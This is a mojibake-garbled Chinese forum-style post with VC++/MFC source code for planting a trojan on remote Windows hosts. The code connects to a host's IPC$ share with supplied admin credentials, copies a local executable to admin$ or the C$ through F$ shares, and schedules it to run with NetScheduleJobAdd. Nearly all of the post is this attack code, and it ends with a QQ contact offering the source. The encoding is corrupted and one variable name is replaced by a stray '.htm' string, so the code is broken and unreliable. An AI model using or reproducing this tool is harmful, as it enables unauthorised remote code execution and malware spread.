VC++¶àÏßÔ¶³ÌIPC³ÌÖÖֲľÂí
Ö÷ҪʵÏÖ´úÂëÈçÏÂ/////////////////////////////////////////////////////////////////////////////////////
typedef struct TagHost
{
CString host;
CString user;
CString pass;
CString 2004112393044.htm;
CString LocalFilePath;
CListBox* list;
}IPC;
void CShareDlg::OnStart() Æô¶¯Ïß³ÌÐò
{
¡¡¡¡UpdateData(TRUE);
¡¡¡¡IPC* ipc = new IPC;
¡¡¡¡ipc->host = m_host;
¡¡¡¡ipc->user = m_user;
¡¡¡¡ipc->pass = m_pass;
¡¡¡¡ipc->LocalFilePath = m_localfile;
¡¡¡¡ipc->2004112393044.htm = 2004112393044.htm;
¡¡¡¡ipc->list = &m_list;
¡¡¡¡AfxBeginThread(ThreadIpcConnect,ipc);
}
Ïß³Ì/////////////////////////////////////////////////////////////////////////////////////////////////
UINT ThreadIpcConnect(LPVOID lpvoid)
{
¡¡¡¡IPC* ipc;
¡¡¡¡CListBox* list;
¡¡¡¡ipc = (IPC*)lpvoid;
¡¡¡¡CString host;
¡¡¡¡CString admin;
¡¡¡¡CString pass;
¡¡¡¡CString 2004112393044.htm;
¡¡¡¡CString localfilepath;
¡¡¡¡host = ipc->host ;
¡¡¡¡pass = ipc->pass;
¡¡¡¡admin = ipc->user;
¡¡¡¡localfilepath = ipc->LocalFilePath;
¡¡¡¡2004112393044.htm =ipc->2004112393044.htm ;
list = ipc->list;
¡¡¡¡BOOL IpcConnect;
¡¡¡¡LPTIME_OF_DAY_INFO TimeBuf=NULL;
¡¡¡¡NET_API_STATUS Status;
¡¡¡¡CString RemoteFilePath,CmdCom("admin$\\");
///////////////////////////////IPCÁ¬½Ó////////////////////////////////////////////////////////////////
¡¡¡¡NETRESOURCE ns;
¡¡¡¡TCHAR buf[MAX_PATH];
¡¡¡¡wsprintf(buf,"\\\\%s\\ipc$",host);
¡¡¡¡ZeroMemory(&ns,sizeof(ns));
¡¡¡¡ns.dwScope=RESOURCE_GLOBALNET;
¡¡¡¡ns.dwType=RESOURCETYPE_ANY;
¡¡¡¡ns.dwDisplayType=RESOURCEDISPLAYTYPE_GENERIC;
¡¡¡¡ns.dwUsage=RESOURCEUSAGE_CONNECTABLE;
¡¡¡¡ns.lpLocalName="";
¡¡¡¡ns.lpRemoteName=buf;
¡¡¡¡ns.lpProvider=NULL;
¡¡¡¡ns.lpComment=NULL;
¡¡¡¡CString hhost = host;
¡¡¡¡IpcConnect =WNetAddConnection2(&ns,pass,admin,0);
///½¨Á¢IPCÁ¬½Ó
¡¡¡¡if(IpcConnect)
¡¡¡¡{
//Á¬½Ó³É¹¦ºó
///////////////////////////Á¬½Ó³É¹¦ÉÏ´«Îļþ//////////////////////////////////////////////////////////
¡¡¡¡¡¡¡¡RemoteFilePath=("\\\\"+host+"\\admin$\\"+2004112393044.htm);
¡¡¡¡¡¡¡¡IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
//¸´ÖÆÎļþµ½admin$(winnt) Èç¹û¸´ÖÆÊ§°Ü£¬£¬ÏòÆäËû¹²ÏíÇø¸´ÖÆ
¡¡¡¡¡¡¡¡¡¡¡¡if(!IpcConnect)
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡RemoteFilePath=("\\\\"+host+"\\C$\\"+2004112393044.htm);
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡CmdCom="C:\\"+2004112393044.htm;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡if(!IpcConnect)
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡RemoteFilePath=("\\\\"+host+"\\D$\\"+2004112393044.htm);
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡CmdCom="D:\\"+2004112393044.htm;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ if(!IpcConnect)
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡RemoteFilePath=("\\\\"+host+"\\E$\\"+2004112393044.htm);
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡CmdCom="E:\\"+2004112393044.htm;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡IpcConnect=CopyFile(localfilepath,RemoteFilePath,FALSE);
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡if(!IpcConnect)
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡RemoteFilePath ("\\\\"+host+"\\F$\\"+2004112393044.htm);
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡CmdCom = "F:\\"+2004112393044.htm;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡IpcConnect = CopyFile(localfilepath,RemoteFilePath,FALSE);
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡}
///////////////////////////µÃµ½Ô¶³ÌÖ÷»úʱ¼ä///////////////////////////////////////////////////////////
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡if(IpcConnect)
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡{//»ñȡԶ³ÌÖ÷»úʱ¼ä
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡Status=NetRemoteTOD(host.AllocSysString(),(LPBYTE *)&TimeBuf);
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡if(Status==NERR_Success)
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡{//»îȡʱ¼ä³É¹¦
///////////////////////////Æô¶¯Ä¿±êÎļþ///////////////////////////////////////////////////////////////
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡DWORD day=1,JobTime;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡AT_INFO ai;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡day=day*2;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ai.Command=CmdCom.AllocSysString();
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ai.DaysOfMonth=day;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ai.DaysOfWeek=0;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ai.Flags=JOB_NONINTERACTIVE;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ai.JobTime=((TimeBuf->tod_hours+(-TimeBuf->tod_timezone)/60)%24)*60*60*1000+(TimeBuf->tod_mins+1)*60*1000;
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡Status=NetScheduleJobAdd(hhost.AllocSysString(),(LPBYTE)&ai,&JobTime);
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡//Æô¶¯ÉÏ´«µÄÎļþ£¬Ò»·ÖÖÓºóÆô¶¯
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡if(Status==NERR_Success)
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡list->AddString(host+"Æô¶¯³É¹¦");
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡else
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡list->AddString(host+"Æô¶¯Ê§°Ü");
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡else
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡list->AddString(host+"»ñȡʱ¼äʧ°Ü");
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡else
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡{
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡ list->AddString(host+"¸´ÖÆÎļþʧ°Ü");
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡}
¡¡¡¡¡¡¡¡else
¡¡¡¡¡¡¡¡list->AddString(host+"Á¬½Óʧ°Ü");
return TRUE;
}
»¶Ó´ó¼Ò¿ÉÒÔÕÒÎÒÒ»Æðѧϰ,QQ:27272855;Èç¹û´ó¼ÒÒªÔ´´úÂ룬À´ÕÒÎÒ£¬ÎÒû¿Õ¼ä£¬ËùÒÔû¡£¡£¡£¡£¡£¡£¡£¡£¡£